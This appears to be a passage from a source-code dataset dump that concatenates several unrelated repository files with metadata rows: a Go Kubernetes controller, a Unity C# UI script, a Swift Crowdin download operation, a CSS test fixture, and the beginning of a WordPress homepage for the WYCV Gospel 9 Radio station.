// +kubebuilder:rbac:groups=trait.ghostbaby.com,resources=cfstraits,verbs=get;list;watch;create;update;patch;delete
// +kubebuilder:rbac:groups=trait.ghostbaby.com,resources=cfstraits/status,verbs=get;update;patch
// +kubebuilder:rbac:groups="",resources=pods;configmaps;services;events;secret,verbs=get;list;watch;create;update;patch;delete
func (r *CfsTraitReconciler) Reconcile(req ctrl.Request) (ctrl.Result, error) {
ctx := context.Background()
log := r.Log.WithValues("cfstrait", req.NamespacedName)
r.CTX = ctx
log.Info("start to reconcile.")
var cfs traitv1.CfsTrait
if err := r.Get(ctx, req.NamespacedName, &cfs); err != nil {
log.Error(err, "unable to fetch CfsTrait")
return reconcile.Result{}, client.IgnoreNotFound(err)
}
if err := r.CallBrokerToExec(&cfs, req); err != nil {
return reconcile.Result{}, nil
}
return ctrl.Result{}, nil
}
func (r *CfsTraitReconciler) SetupWithManager(mgr ctrl.Manager) error {
if err := mgr.GetFieldIndexer().IndexField(context.TODO(), &corev1.Pod{}, "spec.nodeName",
func(rawObj runtime.Object) []string {
pod := rawObj.(*corev1.Pod)
return []string{pod.Spec.NodeName}
}); err != nil {
return err
}
mapFn := handler.ToRequestsFunc(
func(a handler.MapObject) []reconcile.Request {
pod, ok := a.Object.(*corev1.Pod)
if !ok {
return nil
}
if !IsPodReady(pod) {
return nil
}
labels := a.Meta.GetLabels()
appName, isSet := labels[models.DefaultAppLabelKey]
if !isSet {
return nil
}
isExist, namespacedName, err := r.IsPodCfsPolicyExist(appName, a.Meta.GetNamespace())
if err != nil {
return nil
}
if !isExist {
return nil
}
return []reconcile.Request{
{NamespacedName: namespacedName},
}
})
return ctrl.NewControllerManagedBy(mgr).
For(&traitv1.CfsTrait{}).
Owns(&corev1.Pod{}, builder.WithPredicates(predicate.GenerationChangedPredicate{})).
Watches(&source.Kind{Type: &corev1.Pod{}}, &handler.EnqueueRequestsFromMapFunc{ToRequests: mapFn}).
Complete(r)
}
func updateObservedGeneration(w *traitv1.CfsTrait) {
if w.Status.ObservedGeneration != w.Generation {
w.Status.ObservedGeneration = w.Generation
}
}
func isNeedUpdateStatus(w *traitv1.CfsTrait) bool {
return w.Status.ObservedGeneration != w.Generation
}
| 26.550725 | 127 | 0.727893 |
17d735576a2fb95ee950ca8c72b6a7070b4442a1 | 357 | cs | C# | Assets/PlaybackRateSlider.cs | Stektpotet/MoVR | ccf4c40762998640c9870ff1acadb10c10c018b7 | [
"MIT"
] | 2 | 2019-10-19T09:19:11.000Z | 2020-11-19T22:56:30.000Z | Assets/PlaybackRateSlider.cs | Stektpotet/MoVR | ccf4c40762998640c9870ff1acadb10c10c018b7 | [
"MIT"
] | null | null | null | Assets/PlaybackRateSlider.cs | Stektpotet/MoVR | ccf4c40762998640c9870ff1acadb10c10c018b7 | [
"MIT"
] | null | null | null | using UnityEngine;
[RequireComponent(typeof(UnityEngine.UI.Text))]
public class PlaybackRateSlider : MonoBehaviour {
UnityEngine.UI.Text m_pbRateText;
private void Awake()
{
m_pbRateText = GetComponent<UnityEngine.UI.Text>();
}
public void SetText(float value)
{
m_pbRateText.text = value.ToString("F3");
}
}
| 21 | 59 | 0.67507 |
9a2d7f30b4d62903041327084dbc088993c86c17 | 147 | css | CSS | src/__tests__/fixtures/features/inline-svg.css | thoughtbit/postcss-cssplus | 2bb7e2847f43830207100756faf69ecec7a767d3 | [
"MIT"
] | 1 | 2017-10-11T06:41:16.000Z | 2017-10-11T06:41:16.000Z | src/__tests__/fixtures/features/inline-svg.css | thoughtbit/postcss-cssplus | 2bb7e2847f43830207100756faf69ecec7a767d3 | [
"MIT"
] | null | null | null | src/__tests__/fixtures/features/inline-svg.css | thoughtbit/postcss-cssplus | 2bb7e2847f43830207100756faf69ecec7a767d3 | [
"MIT"
] | null | null | null | /*@svg-load menu url(src/__tests__/fixtures/features/pixel.svg) {
path:nth-child(2){
fill:#0ff
};
}
h1 {
background: svg-inline(menu)
}*/ | 18.375 | 65 | 0.646259 |
0914d9fce49414c04553f16034798c08d4f2ae8b | 1,214 | swift | Swift | CrowdinSDK/Classes/Providers/Crowdin/LocalizationDownloader/Operations/CrowdinStringsDownloadOperation.swift | handsupshop/handsup-mobile-sdk-ios | 82646b83db5dafdc81ed642f551e2367fae9cc24 | [
"MIT"
] | null | null | null | CrowdinSDK/Classes/Providers/Crowdin/LocalizationDownloader/Operations/CrowdinStringsDownloadOperation.swift | handsupshop/handsup-mobile-sdk-ios | 82646b83db5dafdc81ed642f551e2367fae9cc24 | [
"MIT"
] | 1 | 2020-01-28T16:39:26.000Z | 2020-01-28T16:39:26.000Z | CrowdinSDK/Classes/Providers/Crowdin/LocalizationDownloader/Operations/CrowdinStringsDownloadOperation.swift | handsupshop/handsup-mobile-sdk-ios | 82646b83db5dafdc81ed642f551e2367fae9cc24 | [
"MIT"
] | null | null | null | //
// DownloadOperation.swift
// CrowdinSDK
//
// Created by Serhii Londar on 3/24/19.
//
import Foundation
class CrowdinStringsDownloadOperation: CrowdinDownloadOperation {
var completion: (([String: String]?, Error?) -> Void)? = nil
var strings: [String: String]?
init(hash: String, filePath: String, localization: String, contentDeliveryAPI: CrowdinContentDeliveryAPI, completion: (([AnyHashable: Any]?, Error?) -> Void)?) {
super.init(hash: hash, filePath: CrowdinPathsParser.shared.parse(filePath, localization: localization), contentDeliveryAPI: contentDeliveryAPI)
self.completion = completion
}
required init(hash: String, filePath: String, localization: String, contentDeliveryAPI: CrowdinContentDeliveryAPI) {
super.init(hash: hash, filePath: CrowdinPathsParser.shared.parse(filePath, localization: localization), contentDeliveryAPI: contentDeliveryAPI)
}
override func main() {
let result = contentDeliveryAPI.getStringsSync(filePath: filePath)
self.strings = result.strings
self.error = result.error
self.completion?(self.strings, self.error)
self.finish(with: result.error != nil)
}
}
| 39.16129 | 165 | 0.709226 |
e2282bda4f9967eb2507b47398fe48c0b68ecb69 | 39,576 | html | HTML | lists/rd/www.gospel9.com/index.html | teliten/teliten.github-io | bc012eab7812e00bddfd5ce04701cfea3d01f9c5 | [
"ZPL-1.1"
] | null | null | null | lists/rd/www.gospel9.com/index.html | teliten/teliten.github-io | bc012eab7812e00bddfd5ce04701cfea3d01f9c5 | [
"ZPL-1.1"
] | null | null | null | lists/rd/www.gospel9.com/index.html | teliten/teliten.github-io | bc012eab7812e00bddfd5ce04701cfea3d01f9c5 | [
"ZPL-1.1"
] | null | null | null | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>WYCV Gospel Radio</title>
<link rel='dns-prefetch' href='//www.google.com' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//s.w.org' />
<link rel="alternate" type="application/rss+xml" title="WYCV Gospel Radio » Feed" href="http://www.gospel9.com/index.php/feed/" />
<link rel="alternate" type="application/rss+xml" title="WYCV Gospel Radio » Comments Feed" href="http://www.gospel9.com/index.php/comments/feed/" />
<script type="text/javascript">
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/11\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/11\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/www.gospel9.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.8"}};
!function(a,b,c){function d(a,b){var c=String.fromCharCode;l.clearRect(0,0,k.width,k.height),l.fillText(c.apply(this,a),0,0);var d=k.toDataURL();l.clearRect(0,0,k.width,k.height),l.fillText(c.apply(this,b),0,0);var e=k.toDataURL();return d===e}function e(a){var b;if(!l||!l.fillText)return!1;switch(l.textBaseline="top",l.font="600 32px Arial",a){case"flag":return!(b=d([55356,56826,55356,56819],[55356,56826,8203,55356,56819]))&&(b=d([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]),!b);case"emoji":return b=d([55358,56760,9792,65039],[55358,56760,8203,9792,65039]),!b}return!1}function f(a){var c=b.createElement("script");c.src=a,c.defer=c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var g,h,i,j,k=b.createElement("canvas"),l=k.getContext&&k.getContext("2d");for(j=Array("flag","emoji"),c.supports={everything:!0,everythingExceptFlag:!0},i=0;i<j.length;i++)c.supports[j[i]]=e(j[i]),c.supports.everything=c.supports.everything&&c.supports[j[i]],"flag"!==j[i]&&(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[j[i]]);c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(h=function(){c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",h,!1),a.addEventListener("load",h,!1)):(a.attachEvent("onload",h),b.attachEvent("onreadystatechange",function(){"complete"===b.readyState&&c.readyCallback()})),g=c.source||{},g.concatemoji?f(g.concatemoji):g.wpemoji&&g.twemoji&&(f(g.twemoji),f(g.wpemoji)))}(window,document,window._wpemojiSettings);
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 .07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<link rel='stylesheet' id='colormag_google_fonts-css' href='//fonts.googleapis.com/css?family=Open+Sans%3A400%2C600&ver=4.9.8' type='text/css' media='all' />
<link rel='stylesheet' id='colormag_style-css' href='http://www.gospel9.com/wp-content/themes/colormag/style.css?ver=4.9.8' type='text/css' media='all' />
<link rel='stylesheet' id='colormag-fontawesome-css' href='http://www.gospel9.com/wp-content/themes/colormag/fontawesome/css/font-awesome.css?ver=4.2.1' type='text/css' media='all' />
<link rel='stylesheet' id='elementor-icons-css' href='http://www.gospel9.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=3.6.0' type='text/css' media='all' />
<link rel='stylesheet' id='font-awesome-css' href='http://www.gospel9.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/font-awesome.min.css?ver=4.7.0' type='text/css' media='all' />
<link rel='stylesheet' id='elementor-animations-css' href='http://www.gospel9.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=2.1.8' type='text/css' media='all' />
<link rel='stylesheet' id='elementor-frontend-css' href='http://www.gospel9.com/wp-content/uploads/elementor/css/custom-frontend.min.css?ver=1535054386' type='text/css' media='all' />
<link rel='stylesheet' id='elementor-pro-css' href='http://www.gospel9.com/wp-content/uploads/elementor/css/custom-pro-frontend.min.css?ver=1535054386' type='text/css' media='all' />
<link rel='stylesheet' id='colormag-elementor-css' href='http://www.gospel9.com/wp-content/themes/colormag/inc/elementor/assets/css/elementor.css?ver=4.9.8' type='text/css' media='all' />
<link rel='stylesheet' id='elementor-global-css' href='http://www.gospel9.com/wp-content/uploads/elementor/css/global.css?ver=1535054409' type='text/css' media='all' />
<link rel='stylesheet' id='elementor-post-357-css' href='http://www.gospel9.com/wp-content/uploads/elementor/css/post-357.css?ver=1535054583' type='text/css' media='all' />
<link rel='stylesheet' id='elementor-post-598-css' href='http://www.gospel9.com/wp-content/uploads/elementor/css/post-598.css?ver=1535054386' type='text/css' media='all' />
<link rel='stylesheet' id='google-fonts-1-css' href='https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&ver=4.9.8' type='text/css' media='all' />
<link rel='stylesheet' id='jq_ui_css-css' href='http://www.gospel9.com/wp-content/plugins/ajax-event-calendar/css/jquery-ui-1.8.16.custom.css?ver=1.8.16' type='text/css' media='all' />
<link rel='stylesheet' id='custom-css' href='http://www.gospel9.com/wp-content/plugins/ajax-event-calendar/css/custom.css?ver=1.0.4' type='text/css' media='all' />
<!--n2css--><script type='text/javascript' src='http://www.gospel9.com/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/themes/colormag/js/colormag-custom.js?ver=4.9.8'></script>
<!--[if lte IE 8]>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/themes/colormag/js/html5shiv.min.js?ver=4.9.8'></script>
<![endif]-->
<link rel='https://api.w.org/' href='http://www.gospel9.com/index.php/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.gospel9.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.gospel9.com/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 4.9.8" />
<link rel="canonical" href="http://www.gospel9.com/" />
<link rel='shortlink' href='http://www.gospel9.com/' />
<link rel="alternate" type="application/json+oembed" href="http://www.gospel9.com/index.php/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.gospel9.com%2F" />
<link rel="alternate" type="text/xml+oembed" href="http://www.gospel9.com/index.php/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.gospel9.com%2F&format=xml" />
<!-- WYCV Gospel Radio Internal Styles --> <style type="text/css"> .colormag-button,blockquote,button,input[type=reset],input[type=button],input[type=submit],
#masthead.colormag-header-clean #site-navigation.main-small-navigation .menu-toggle{background-color:#047ef7}
#site-title a,.next a:hover,.previous a:hover,.social-links i.fa:hover,a,
#masthead.colormag-header-clean .social-links li:hover i.fa,
#masthead.colormag-header-classic .social-links li:hover i.fa,
#masthead.colormag-header-clean .breaking-news .newsticker a:hover,
#masthead.colormag-header-classic .breaking-news .newsticker a:hover,
#masthead.colormag-header-classic #site-navigation .fa.search-top:hover,
#masthead.colormag-header-classic #site-navigation .random-post a:hover .fa-random,
#masthead .main-small-navigation li:hover > .sub-toggle i,
.better-responsive-menu #masthead .main-small-navigation .sub-toggle.active .fa {color:#047ef7}
.fa.search-top:hover,
#masthead.colormag-header-classic #site-navigation.main-small-navigation .menu-toggle,
.main-navigation ul li.focus > a,
#masthead.colormag-header-classic .main-navigation ul ul.sub-menu li.focus > a {background-color:#047ef7}
#site-navigation{border-top:4px solid #047ef7}
.home-icon.front_page_on,.main-navigation a:hover,.main-navigation ul li ul li a:hover,
.main-navigation ul li ul li:hover>a,
.main-navigation ul li.current-menu-ancestor>a,
.main-navigation ul li.current-menu-item ul li a:hover,
.main-navigation ul li.current-menu-item>a,
.main-navigation ul li.current_page_ancestor>a,
.main-navigation ul li.current_page_item>a,
.main-navigation ul li:hover>a,
.main-small-navigation li a:hover,
.site-header .menu-toggle:hover,
#masthead.colormag-header-classic .main-navigation ul ul.sub-menu li:hover > a,
#masthead.colormag-header-classic .main-navigation ul ul.sub-menu li.current-menu-ancestor > a,
#masthead.colormag-header-classic .main-navigation ul ul.sub-menu li.current-menu-item > a,
#masthead .main-small-navigation li:hover > a,
#masthead .main-small-navigation li.current-page-ancestor > a,
#masthead .main-small-navigation li.current-menu-ancestor > a,
#masthead .main-small-navigation li.current-page-item > a,
#masthead .main-small-navigation li.current-menu-item > a{background-color:#047ef7}
.main-small-navigation .current-menu-item>a,.main-small-navigation .current_page_item>a {background:#047ef7}
#masthead.colormag-header-classic .main-navigation ul ul.sub-menu li:hover,
#masthead.colormag-header-classic .main-navigation ul ul.sub-menu li.current-menu-ancestor,
#masthead.colormag-header-classic .main-navigation ul ul.sub-menu li.current-menu-item,
#masthead.colormag-header-classic #site-navigation .menu-toggle,
#masthead.colormag-header-classic #site-navigation .menu-toggle:hover,
#masthead.colormag-header-classic .main-navigation ul > li:hover > a,
#masthead.colormag-header-classic .main-navigation ul > li.current-menu-item > a,
#masthead.colormag-header-classic .main-navigation ul > li.current-menu-ancestor > a,
#masthead.colormag-header-classic .main-navigation ul li.focus > a{ border-color:#047ef7}
.promo-button-area a:hover{border:2px solid #047ef7;background-color:#047ef7}
#content .wp-pagenavi .current,
#content .wp-pagenavi a:hover,.format-link .entry-content a,.pagination span{ background-color:#047ef7}
.pagination a span:hover{color:#047ef7;border-color:#047ef7}
#content .comments-area a.comment-edit-link:hover,#content .comments-area a.comment-permalink:hover,
#content .comments-area article header cite a:hover,.comments-area .comment-author-link a:hover{color:#047ef7}
.comments-area .comment-author-link span{background-color:#047ef7}
.comment .comment-reply-link:hover,.nav-next a,.nav-previous a{color:#047ef7}
#secondary .widget-title{border-bottom:2px solid #047ef7}
#secondary .widget-title span{background-color:#047ef7}
.footer-widgets-area .widget-title{border-bottom:2px solid #047ef7}
.footer-widgets-area .widget-title span,
.colormag-footer--classic .footer-widgets-area .widget-title span::before{background-color:#047ef7}
.footer-widgets-area a:hover{color:#047ef7}
.advertisement_above_footer .widget-title{ border-bottom:2px solid #047ef7}
.advertisement_above_footer .widget-title span{background-color:#047ef7}
a#scroll-up i{color:#047ef7}
.page-header .page-title{border-bottom:2px solid #047ef7}
#content .post .article-content .above-entry-meta .cat-links a,
.page-header .page-title span{ background-color:#047ef7}
#content .post .article-content .entry-title a:hover,
.entry-meta .byline i,.entry-meta .cat-links i,.entry-meta a,
.post .entry-title a:hover,.search .entry-title a:hover{color:#047ef7}
.entry-meta .post-format i{background-color:#047ef7}
.entry-meta .comments-link a:hover,.entry-meta .edit-link a:hover,.entry-meta .posted-on a:hover,
.entry-meta .tag-links a:hover,.single #content .tags a:hover{color:#047ef7}.more-link,
.no-post-thumbnail{background-color:#047ef7}
.post-box .entry-meta .cat-links a:hover,.post-box .entry-meta .posted-on a:hover,
.post.post-box .entry-title a:hover{color:#047ef7}
.widget_featured_slider .slide-content .above-entry-meta .cat-links a{background-color:#047ef7}
.widget_featured_slider .slide-content .below-entry-meta .byline a:hover,
.widget_featured_slider .slide-content .below-entry-meta .comments a:hover,
.widget_featured_slider .slide-content .below-entry-meta .posted-on a:hover,
.widget_featured_slider .slide-content .entry-title a:hover{color:#047ef7}
.widget_highlighted_posts .article-content .above-entry-meta .cat-links a {background-color:#047ef7}
.byline a:hover,.comments a:hover,.edit-link a:hover,.posted-on a:hover,.tag-links a:hover,
.widget_highlighted_posts .article-content .below-entry-meta .byline a:hover,
.widget_highlighted_posts .article-content .below-entry-meta .comments a:hover,
.widget_highlighted_posts .article-content .below-entry-meta .posted-on a:hover,
.widget_highlighted_posts .article-content .entry-title a:hover{color:#047ef7}
.widget_featured_posts .article-content .above-entry-meta .cat-links a{background-color:#047ef7}
.widget_featured_posts .article-content .entry-title a:hover{color:#047ef7}
.widget_featured_posts .widget-title{border-bottom:2px solid #047ef7}
.widget_featured_posts .widget-title span{background-color:#047ef7}
.related-posts-main-title .fa,.single-related-posts .article-content .entry-title a:hover{color:#047ef7}
@media (max-width: 768px) {.better-responsive-menu .sub-toggle{background-color:#0060d9}}</style>
<!-- WYCV Gospel Radio Elementor Internal Styles --> <style type="text/css">.elementor .tg-module-wrapper .module-title{border-bottom:1px solid #047ef7}.elementor .tg-module-wrapper .module-title span,.elementor .tg-module-wrapper .tg-post-category{background-color:#047ef7}.elementor .tg-module-wrapper .tg-module-meta .tg-module-comments a:hover,.elementor .tg-module-wrapper .tg-module-meta .tg-post-auther-name a:hover,.elementor .tg-module-wrapper .tg-module-meta .tg-post-date a:hover,.elementor .tg-module-wrapper .tg-module-title:hover a,.elementor .tg-module-wrapper.tg-module-grid .tg_module_grid .tg-module-info .tg-module-meta a:hover{color:#047ef7}</style>
</head>
<body class="home page-template-default page page-id-357 wp-custom-logo no-sidebar-full-width elementor-default elementor-page elementor-page-357">
<div class="elementor elementor-598 elementor-type-header elementor-location-header">
<div class="elementor-inner">
<div class="elementor-section-wrap">
<section data-id="cf1f120" class="elementor-element elementor-element-cf1f120 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-settings="{"background_background":"classic"}" data-element_type="section">
<div class="elementor-container elementor-column-gap-default">
<div class="elementor-row">
<div data-id="1a7f174" class="elementor-element elementor-element-1a7f174 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
<div class="elementor-column-wrap elementor-element-populated">
<div class="elementor-widget-wrap">
<div data-id="37d3aac" class="elementor-element elementor-element-37d3aac elementor-widget elementor-widget-heading" data-element_type="heading.default">
<div class="elementor-widget-container">
<h1 class="elementor-heading-title elementor-size-default">WYCV
Gospel 9 Radio</h1> </div>
</div>
<div data-id="5ba54fa" class="elementor-element elementor-element-5ba54fa elementor-widget elementor-widget-heading" data-element_type="heading.default">
<div class="elementor-widget-container">
<h3 class="elementor-heading-title elementor-size-default">Christian Radio for the Unifour area, NC</h3> </div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section data-id="7ed478f" class="elementor-element elementor-element-7ed478f elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-settings="{"background_background":"classic"}" data-element_type="section">
<div class="elementor-container elementor-column-gap-default">
<div class="elementor-row">
<div data-id="d140057" class="elementor-element elementor-element-d140057 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
<div class="elementor-column-wrap elementor-element-populated">
<div class="elementor-widget-wrap">
<div data-id="0a34695" class="elementor-element elementor-element-0a34695 elementor-nav-menu--indicator-classic elementor-nav-menu--dropdown-tablet elementor-nav-menu__text-align-aside elementor-nav-menu--toggle elementor-nav-menu--burger elementor-widget elementor-widget-nav-menu" data-settings="{"layout":"horizontal","toggle":"burger"}" data-element_type="nav-menu.default">
<div class="elementor-widget-container">
<nav class="elementor-nav-menu--main elementor-nav-menu__container elementor-nav-menu--layout-horizontal e--pointer-underline e--animation-fade"><ul id="menu-1-0a34695" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home current-menu-item page_item page-item-357 current_page_item menu-item-391"><a href="http://www.gospel9.com/" class="elementor-item elementor-item-active">Home</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-141"><a href="http://www.gospel9.com/index.php/about-us/" class="elementor-item">About Us</a>
<ul class="sub-menu elementor-nav-menu--dropdown">
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="http://www.gospel9.com/index.php/about-us/our-staff/" class="elementor-sub-item">Our Staff</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-137"><a href="http://www.gospel9.com/index.php/home/links/" class="elementor-sub-item">Links</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-139"><a href="http://www.gospel9.com/index.php/prayer/" class="elementor-item">Prayer</a>
<ul class="sub-menu elementor-nav-menu--dropdown">
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-380"><a href="http://www.gospel9.com/index.php/prayer-requests/" class="elementor-sub-item">Prayer Requests</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="http://www.gospel9.com/index.php/request-prayer/" class="elementor-sub-item">Request Prayer</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-432"><a href="http://www.gospel9.com/index.php/praises2/" class="elementor-sub-item">Praises</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-171"><a href="http://www.gospel9.com/index.php/community-calendar/event-submission/" class="elementor-item">Events</a>
<ul class="sub-menu elementor-nav-menu--dropdown">
<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-226"><a href="http://www.gospel9.com/?page_id=20" class="elementor-sub-item">Events List</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-222"><a href="http://www.gospel9.com/index.php/event-submission/" class="elementor-sub-item">Event Submission</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-149"><a href="http://www.gospel9.com/index.php/broadcast-schedule/" class="elementor-item">Broadcast Schedule</a>
<ul class="sub-menu elementor-nav-menu--dropdown">
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-150"><a href="http://www.gospel9.com/index.php/broadcast-schedule/weekday-programs/" class="elementor-sub-item">Weekday Programs</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-151"><a href="http://www.gospel9.com/index.php/broadcast-schedule/weekend-programs/" class="elementor-sub-item">Weekend Programs</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-525"><a href="http://www.gospel9.com/index.php/music-policy/" class="elementor-item">Music Policy</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-578"><a href="http://www.gospel9.com/index.php/trip-to-israel/" class="elementor-item">Israel Trip</a></li>
</ul></nav>
<div class="elementor-menu-toggle">
<i class="eicon" aria-hidden="true"></i>
</div>
<nav class="elementor-nav-menu--dropdown elementor-nav-menu__container"><ul id="menu-2-0a34695" class="elementor-nav-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home current-menu-item page_item page-item-357 current_page_item menu-item-391"><a href="http://www.gospel9.com/" class="elementor-item elementor-item-active">Home</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-141"><a href="http://www.gospel9.com/index.php/about-us/" class="elementor-item">About Us</a>
<ul class="sub-menu elementor-nav-menu--dropdown">
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="http://www.gospel9.com/index.php/about-us/our-staff/" class="elementor-sub-item">Our Staff</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-137"><a href="http://www.gospel9.com/index.php/home/links/" class="elementor-sub-item">Links</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-139"><a href="http://www.gospel9.com/index.php/prayer/" class="elementor-item">Prayer</a>
<ul class="sub-menu elementor-nav-menu--dropdown">
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-380"><a href="http://www.gospel9.com/index.php/prayer-requests/" class="elementor-sub-item">Prayer Requests</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="http://www.gospel9.com/index.php/request-prayer/" class="elementor-sub-item">Request Prayer</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-432"><a href="http://www.gospel9.com/index.php/praises2/" class="elementor-sub-item">Praises</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-171"><a href="http://www.gospel9.com/index.php/community-calendar/event-submission/" class="elementor-item">Events</a>
<ul class="sub-menu elementor-nav-menu--dropdown">
<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-226"><a href="http://www.gospel9.com/?page_id=20" class="elementor-sub-item">Events List</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-222"><a href="http://www.gospel9.com/index.php/event-submission/" class="elementor-sub-item">Event Submission</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-149"><a href="http://www.gospel9.com/index.php/broadcast-schedule/" class="elementor-item">Broadcast Schedule</a>
<ul class="sub-menu elementor-nav-menu--dropdown">
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-150"><a href="http://www.gospel9.com/index.php/broadcast-schedule/weekday-programs/" class="elementor-sub-item">Weekday Programs</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-151"><a href="http://www.gospel9.com/index.php/broadcast-schedule/weekend-programs/" class="elementor-sub-item">Weekend Programs</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-525"><a href="http://www.gospel9.com/index.php/music-policy/" class="elementor-item">Music Policy</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-578"><a href="http://www.gospel9.com/index.php/trip-to-israel/" class="elementor-item">Israel Trip</a></li>
</ul></nav>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
</div>
<div class="front-page-top-section clearfix">
<div class="widget_slider_area">
</div>
<div class="widget_beside_slider">
</div>
</div>
<div class="main-content-section clearfix">
<div id="primary">
<div id="content" class="clearfix">
<div class="article-container">
<article id="post-357" class="post-357 page type-page status-publish hentry">
<header class="entry-header">
<h2 class="entry-title">
Welcome </h2>
</header>
<div class="entry-content clearfix">
<div class="elementor elementor-357">
<div class="elementor-inner">
<div class="elementor-section-wrap">
<section data-id="aea0aa5" class="elementor-element elementor-element-aea0aa5 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-settings="{"background_background":"classic"}" data-element_type="section">
<div class="elementor-container elementor-column-gap-default">
<div class="elementor-row">
<div data-id="af74c20" class="elementor-element elementor-element-af74c20 elementor-column elementor-col-66 elementor-top-column" data-element_type="column">
<div class="elementor-column-wrap elementor-element-populated">
<div class="elementor-widget-wrap">
<div data-id="60c0f9d" class="elementor-element elementor-element-60c0f9d elementor-widget elementor-widget-heading" data-element_type="heading.default">
<div class="elementor-widget-container">
<h2 class="elementor-heading-title elementor-size-default">Welcome to Gospel 9 Radio</h2> </div>
</div>
<div data-id="a8ab5e5" class="elementor-element elementor-element-a8ab5e5 elementor-widget elementor-widget-heading" data-element_type="heading.default">
<div class="elementor-widget-container">
<h2 class="elementor-heading-title elementor-size-default">Holyland Tour postponed until oct/Nov 2019 due FM tower construction this fall</h2> </div>
</div>
<section data-id="7faa54e" class="elementor-element elementor-element-7faa54e elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-inner-section" data-element_type="section">
<div class="elementor-container elementor-column-gap-default">
<div class="elementor-row">
